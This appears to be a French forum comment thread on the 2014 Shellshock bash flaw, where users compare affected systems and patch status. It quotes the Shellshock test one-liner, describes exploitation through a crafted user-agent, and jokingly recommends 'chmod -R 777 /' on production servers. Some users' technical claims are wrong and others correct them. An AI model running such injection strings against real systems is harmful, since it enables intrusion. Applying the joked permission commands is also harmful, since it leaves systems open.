Le CHROOT ça avait l’air puissant comme solution, mais je comprends pas tout. Aurais-tu par hasard un tuto/doc compréhensible par un Mickey (apprenti sorcier) admin sys ? <img data-src=" />







votre avatar







CaptainDangeax a écrit :



Donc, pour résumer la niouze et tous les posts, cette faille a une portée limitée à un certain nombre de serveurs qui déjà ne sont pas maintenus à jour et qui exploitent un ensemble bien particulier de services[quote]



Alors non, ça ne le limite pas aux serveurs mais également à tout ce qui est connecté sur un réseau avec une base Unix (comme des routeurs par exemple)

Ensuite, tu connais le nombre de services exact qui sont en écoute sur le réseau et qui interagissement directement avec bash ? Parce que ça a beau être un fonctionnement particulier, si on en a pas une liste exhaustive, comment savoir si on est vulnérable ?



[quote]la faille elle-même n’étant pas suffisante à elle seule pour permettre de compromettre une machine.







Comme je l’ai dit plus haut, juste changer le user-agent de ton navigateur web pourrait suffir à exploiter la faille et installer un malware sur la machine. (d’ailleurs des gens utilisent masscan pour le faire).


votre avatar







Zergy a écrit :



MER IL EST FOU ! <img data-src=" />



Vu ce qu’il y a dedans (PIII 650 passif + 3*256 PC100 + ATI 3D Rage Pro + 2 PCI Gigabit + PCI SATA + Carte son ISA + 2 DD SATA 3,5”) il ne doit pas consommer des masses, surtout que l’alimentation (de bientôt 16 ans) ne peu fournir que 125W)





Mon serveur de fichiers, c’est ma Freebox V6.<img data-src=" />


votre avatar







Citan666 a écrit :



Le CHROOT ça avait l’air puissant comme solution, mais je comprends pas tout. Aurais-tu par hasard un tuto/doc compréhensible par un Mickey (apprenti sorcier) admin sys ? <img data-src=" />





https://www.debian.org/doc/manuals/securing-debian-howto/ap-chroot-apache-env.fr…


votre avatar







benjarobin a écrit :



Je vais aller me prendre… <img data-src=" /> <img data-src=" />

Dis moi que c’est juste pour la blague et que tu ne fais pas ceci en production… <img data-src=" />







Il a raison, 777 c’est l’essence de la définition du libre, qui fait que tout le monde est libre de lire, exécuter et transformer le logiciel/document. <img data-src=" />


votre avatar







benjarobin a écrit :



Je vais aller me prendre… <img data-src=" /> <img data-src=" />

Dis moi que c’est juste pour la blague et que tu ne fais pas ceci en production… <img data-src=" />







Je ne teste pas toujours mes confs, mais quand je le fais, je teste en production. <img data-src=" />


votre avatar







Citan666 a écrit :



Ouais mais j’veux paaaaas mettre à jour…<img data-src=" /> Trop de changements imposés que j’aime pas dans la dernière version de KDE (j’attends la prochaine tant qu’à faire) et cet enfoiré d’Ubuntu ne veut rien entendre, il met systématiquement l’intégralité des paquets en “dépendance” à MAJ même quand je sélectionne juste un truc non critique (genre éditeur de texte).

Et je déteste qu’on me force la main sans raison..<img data-src=" />





apt-get install bash ?


votre avatar







pentest a écrit :



Il a raison, 777 c’est l’essence de la définition du libre, qui fait que tout le monde est libre de lire, exécuter et transformer le logiciel/document. <img data-src=" />







Non, c’est trop faible.

Rien ne vaut chmod 4777 <img data-src=" />


votre avatar







alexandredenis a écrit :



ET pourtant toutes les docs apache disent bien que le serveur ne doit pas pouvoir réécrire les documents, surtout les documents dynamiques. Un admin consciencieux va même au-delà, et isole son serveur apache (VM, ou au moins chroot).

En tout cas, c’est ce que je fais.







Exact, maintenant il suffit de voir le nombre de serveurs encore vulnérables à Heartbleed pour se faire une idée du niveau de sérieux ambiant, même certaines banques ne sont pas à jour…


votre avatar







Citan666 a écrit :



Ouais mais j’veux paaaaas mettre à jour…<img data-src=" /> Trop de changements imposés que j’aime pas dans la dernière version de KDE (j’attends la prochaine tant qu’à faire) et cet enfoiré d’Ubuntu ne veut rien entendre, il met systématiquement l’intégralité des paquets en “dépendance” à MAJ même quand je sélectionne juste un truc non critique (genre éditeur de texte).

Et je déteste qu’on me force la main sans raison..<img data-src=" />



Et du coup, avec un Drupal, comment tu fais par exemple ? <img data-src=" /> (ça fait partie des trucs qui sont probablement triviaux mais avec lesquels je galère toujours)

Je pensais qu’il suffisait de mettre une directive dans le VirtualHost mais il y a certainement des trucs que je pige pas. Au final, le répertoire où sont stockés les fichiers “de contenu” je dois toujours l’ouvrir à tout vent.



Le CHROOT ça avait l’air puissant comme solution, mais je comprends pas tout. Aurais-tu par hasard un tuto/doc compréhensible par un Mickey (apprenti sorcier) admin sys ? <img data-src=" />





Ben tu fais comme moi, si tu veux décider et être libre : Debian.

Le reste n’est que superficiel et éphémère … <img data-src=" />


votre avatar

Je viens de mettre à jour mon netbook sous Linux Mint 17, faille corrigée.

votre avatar







zempa a écrit :



Je le fait directement sur la racine, c’est plus simple.

Pourquoi ?







<img data-src=" />



Les deux premières commandes à taper sur un nouveau serveur de prod :

su

chmod -R 777 /



<img data-src=" />


votre avatar

RAS sous HP-UX <img data-src=" />

votre avatar







JCDentonMale a écrit :



RAS sous HP-UX <img data-src=" />





Pareil sous Amiga OS… <img data-src=" />


votre avatar

Une nouvelle mise à jour de bash sous Ubuntu ce matin.

votre avatar



Si elle peut avoir la même portée que la fameuse brèche HeartBleed, elle n’en a pour autant pas la même dangerosité

.



Moui. Entre avoir accès à la lecture des derniers blocs en mémoire, et avoir un shell en direct sur la machine, niveau dangerosité…

Je trouve l’impact potentiel largement pire que Heartbleed. Le logo en moins.

votre avatar







Dez a écrit :



.



Moui. Entre avoir accès à la lecture des derniers blocs en mémoire, et avoir un shell en direct sur la machine, niveau dangerosité…

Je trouve l’impact potentiel largement pire que Heartbleed. Le logo en moins.





heartbleed impactait la totalité des sites sécurisé qui utilisaient SSL.

là, ça ne touche que certain poste qui pourraient déjà exécuter du code à distance. c’est plus compliqué de faire le tri dans les postes impacté, et moins certain pour exploiter la faille.


votre avatar







jphilip a écrit :



Passez sur Windows les gars <img data-src=" />





Sauf que un Windows avec Cygwin est vulnérable <img data-src=" />


votre avatar

Bon, hop pas envie de tout vérifier, une ptite modif sur le serveur Projet2501: 




   package { bash:   


       ensure  =&gt;  latest,   


   }




y a plus qu’à attendre.

votre avatar







Mihashi a écrit :



Une nouvelle mise à jour de bash sous Ubuntu ce matin.





Oui, pourtant j’ai testé hier, et la faille n’était pas active…


votre avatar







geekounet85 a écrit :



heartbleed impactait la totalité des sites sécurisé qui utilisaient SSL.

là, ça ne touche que certain poste qui pourraient déjà exécuter du code à distance. c’est plus compliqué de faire le tri dans les postes impacté, et moins certain pour exploiter la faille.







Non, c’est faux. Heartbleed impactait uniquement les sites qui utilisait SSL avec openSSL 1.0.x et 1.1.x. Les site avec openSSL 0.9.x et GnuTLS n’étaient pas vulnérables


votre avatar

Pour les utilisateurs sous Mac OSX, comme Apple n’a toujours pas fourni de patch et même pire, communiqué à propos la faille Shellshock, je vous donne l’adresse du site (en Anglais) qui explique comment patcher bash pour supprimer la faille :

http://mac-how-to.wonderhowto.com/how-to/every-mac-is-vulnerable-shellshock-bash…

votre avatar







jphilip a écrit :



Passez sur Windows les gars <img data-src=" />





j’ai pas les sous pour ça.

Dis t’as pas 1po?


votre avatar







Faith a écrit :



Oui, pourtant j’ai testé hier, et la faille n’était pas active…





Elle l’était sous KUbuntu 14.04 chez moi.


votre avatar

les explications ici.

Tester sur mon serveur pas encore a jour, bien sur j’ai du ajouter un script en bash pour que ça fonctionne.

votre avatar

<img data-src=" /> Mageia 4 OK

votre avatar







Indus a écrit :



Pour les utilisateurs sous Mac OSX, comme Apple n’a toujours pas fourni de patch et même pire, communiqué à propos la faille Shellshock, je vous donne l’adresse du site (en Anglais) qui explique comment patcher bash pour supprimer la faille :

http://mac-how-to.wonderhowto.com/how-to/every-mac-is-vulnerable-shellshock-bash…





En même temps sur un ordi perso j’ai du mal à voir comment cette faille peut poser un danger immédiat.


votre avatar

Quid de Android et Firefox OS qui utilisent le kernel Linux ?

votre avatar

Donc, il faut déjà avoir accès à la machine, ou exploiter une autre faille pour pouvoir faire exécuter un bash à distance et exploiter cette vulnérabilité. Me trompe-je?

votre avatar

Je viens d’effectuer le test sur différents systèmes : la faille n’est plus présente sur les systèmes Ubuntu 14.04 et CentOS 6.5 tenus à jour, mais persiste sur un système CentOS 5.8.

votre avatar







Crysalide a écrit :



Quid de Android et Firefox OS qui utilisent le kernel Linux ?







Rien à signaler:

bash est hors kernel


votre avatar

Manjaro mise à jour ce midi, le problème semble réglé, tous les tests que j’ai effectués sont négatifs.

votre avatar

Test a l’instant sur Ubuntu 14.04

&nbsp;

:$ env X=“() { :;} ; echo shellshock” /bin/sh -c “echo completed”

completed

&nbsp;:$ env X=“() { :;} ; echo shellshock” which bash -c “echo completed”

&nbsp;shellshock

&nbsp;completed

votre avatar







LordZurp a écrit :



mon serveur a été pingé par un PoC ce matin vers 7h30 … gaffe, les bots sont à donf





Pareil, j’en ai recu aussi sur 2⁄3 serveurs.


votre avatar

Y’a quelqu’un de courageux pour expliquer la faille avec des mots simple <img data-src=" /> ?

votre avatar

Et puis sur Debian, par défaut /bin/sh c’est le dash:



$ env X=“() { :;} ; echo shellshock” /bin/sh -c “echo completed”

completed

votre avatar







levhieu a écrit :



Rien à signaler:

bash est hors kernel





Ce n’est pas ce que dit The Hacker News qui donne Android comme affecté sans plus de détail.



edit : a priori, bash serait embarqué dans Android.


votre avatar

C’est pour ça que j’ai eu une mise à jour de mon Bash sur ma station de travail sous Mint 17 hier soir avant d’aller me coucher !



Bon, j’ai le Mint Debian à mettre à jour sur mon portable, tant que j’y pense… À suivre !

votre avatar







ActionFighter a écrit :



edit : a priori, bash serait embarqué dans Android.



Je m’auto-quote pour dire qu’en fait j’arrive pas à trouver de source indiquant qu’Android embarque bash ou une quelque version modifiée…



il ne devrait donc a priori pas être touché.


votre avatar







ActionFighter a écrit :



Je m’auto-quote pour dire qu’en fait j’arrive pas à trouver de source indiquant qu’Android embarque bash ou une quelque version modifiée…



il ne devrait donc a priori pas être touché.







Live sur mon téléphone:



shell@android:/ \( type sh

sh is a tracked alias for /system/bin/sh

shell@android:/ \) ls -l /system/bin/sh

lrwxrwxrwx root root 2013-06-13 10:33 sh -&gt; mksh

shell@android:/ $ ls /bin/sh

/bin/sh: No such file or directory


votre avatar







LordZurp a écrit :



mon serveur a été pingé par un PoC ce matin vers 7h30 … gaffe, les bots sont à donf





Rien chez moi. Pis j’utilise systématiquement ZSH.<img data-src=" />


votre avatar







levhieu a écrit :



Live sur mon téléphone:



shell@android:/ \( type sh

sh is a tracked alias for /system/bin/sh

shell@android:/ \) ls -l /system/bin/sh

lrwxrwxrwx root root 2013-06-13 10:33 sh -&gt; mksh

shell@android:/ $ ls /bin/sh

/bin/sh: No such file or directory





Mksh donc <img data-src=" />



C’est une version adroid officielle ? ou une custom ?


votre avatar







ActionFighter a écrit :



Je m’auto-quote pour dire qu’en fait j’arrive pas à trouver de source indiquant qu’Android embarque bash ou une quelque version modifiée…



il ne devrait donc a priori pas être touché.





Apparemment Android utilise ash :en.wikipedia.org Wikipedia


votre avatar

selon les premières analyses 1⁄50 webserveurs est vulnérable…

votre avatar







alexandredenis a écrit :



Les gens qui installent un serveur web, et activent les cgi, je pense que la majorité d’entre eux ne sont pas des noobs.







Malheureusement si…



En entreprise, bon nombre de personnes bombardées “admin linux” ne font que suivre des recettes de cuisine et n’ont aucune idée de ce qui se passe à l’étage en dessous.


votre avatar

c’est beau de voir dans la même news qu’une faille a été découverte et deux lignes plus loin qu’elle a été patchée. Ça souligne une belle réactivité de l’écosystème quand même !

votre avatar

Merci, mis à jour. <img data-src=" />

votre avatar







loloemr a écrit :



Encore faudrait-il avoir le mot de passe ou la clé pour se connecter en SSH.





Cela permet tout de même à quelqu’un&nbsp; possédant un compte user d’exécuter une commande root. J’appelle ça une élévation de privilège moi.


votre avatar







obrowny a écrit :



c’est beau de voir dans la même news qu’une faille a été découverte et deux lignes plus loin qu’elle a été patchée. Ça souligne une belle réactivité de l’écosystème quand même !





Sauf que le patch ne corrige pas entièrement la faille.


votre avatar







millman42 a écrit :



Cela permet tout de même à quelqu’un  possédant un compte user d’exécuter une commande root. J’appelle ça une élévation de privilège moi.





Bah non.





Le facteur limitant la dangerosité de la faille est que les commandes effectuées ne peuvent pas avoir plus de privilèges que l’utilisateur actif n’en a lui-même.


votre avatar







XMalek a écrit :



selon les premières analyses 1⁄50 webserveurs est vulnérable…





Si tu cites cet article :http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html ce n’est pas ce qu’il dit.



Il dit qu’en utilisant son script sans remplir le champ host dans les requètes seulement 1/50° des serveurs répondent. Donc en faisant gaffe de bien remplir tous les champs pour que les requètes paraissent légitimes on pourrait trouver 50 fois plus de serveurs vulnérables.

En plus lui n’a scanné que le port 80 (et en plus son script a planté).


votre avatar







127.0.0.1 a écrit :



La faille permet d’executer automatiquement une ligne de commande arbitraire au prochain lancement de “bash”.



Pour cela, il faut créer une variable d’environnement spécialement conçue sur le serveur.



Exemple: un compte “invité” qui a accès au serveur crée une variable d’environnement qui va executer un gros “rm ”. Plus tard, l’administrateur se loggue et ouvre un terminal… et paf ! Bash se lance et execute le “rm ” avec les droits admin.





Erreur mon petit localhost. Quand tu définis une variable d’environnement dans un shell utilisateur, sa portée est limitée aux programmes qui seront lancés à partir de ce shell. Ça limite la portée et surtout les gags de l’invité ne toucheront que l’invité.


votre avatar

Et pour ceux qui voudrai savoir comment combler la faille en attendant un patch officiel de la part d’Apple :http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid…

votre avatar







loloemr a écrit :



Bah non.





Saut que le serveur ssh est lancé en root et que la commande est donc lancé par l’utilisateur root.



Edit : en effet j’ai dis des bêtises cela permet uniquement de contourner les restrictions d’accès à une seule commande utilisé par exemple par gitolite.


votre avatar







Khalev a écrit :



Si tu cites cet article :http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html ce n’est pas ce qu’il dit.



Il dit qu’en utilisant son script sans remplir le champ host dans les requètes seulement 1/50° des serveurs répondent. Donc en faisant gaffe de bien remplir tous les champs pour que les requètes paraissent légitimes on pourrait trouver 50 fois plus de serveurs vulnérables.

En plus lui n’a scanné que le port 80 (et en plus son script a planté).







Au finak le seul bon chiffres c’est 3000 vulnérables (merci de m’avoir corrigé :p)


votre avatar







CaptainDangeax a écrit :



hey, le gars demandait une explication simple, un apercu compréhensible par un imberbe, pas une traduction de CVE&nbsp;<img data-src=" />

je donne juste une idée de ce que ça peut faire, si tu arrives à faire une explication plus simple qui inclut le fonctionnement de CGI je suis preneur pour la paster sur mon forum :)


votre avatar







CaptainDangeax a écrit :



On parle de SERVEUR. Quel utilisateur active un serveur après avoir créé des pages dynamiques qui utilisent BASH ? Quel utilisateur laisse son bash ouvert au monde entier ?







Heu… Au pif, le gars bombardé sysadmin dans mon administration ?



Bon, notre serveur est sous Windows cela dit en passant… <img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />


Bash : une importante faille de sécurité affecte Linux, Unix et OS X

Fermer